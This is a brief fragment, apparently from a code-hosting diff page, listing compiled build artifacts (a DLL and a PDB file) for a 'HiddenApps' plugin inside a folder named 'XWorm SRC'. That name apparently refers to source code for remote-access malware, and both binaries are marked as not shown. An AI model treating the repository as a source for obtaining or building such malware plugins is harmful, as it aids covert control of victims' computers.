C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Release\HiddenApps.dll
|
||||
C:\Users\byt3d4sh\Desktop\XWorm SRC\Plugins\HiddenApps\HiddenApps\obj\Release\HiddenApps.pdb
|
||||
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user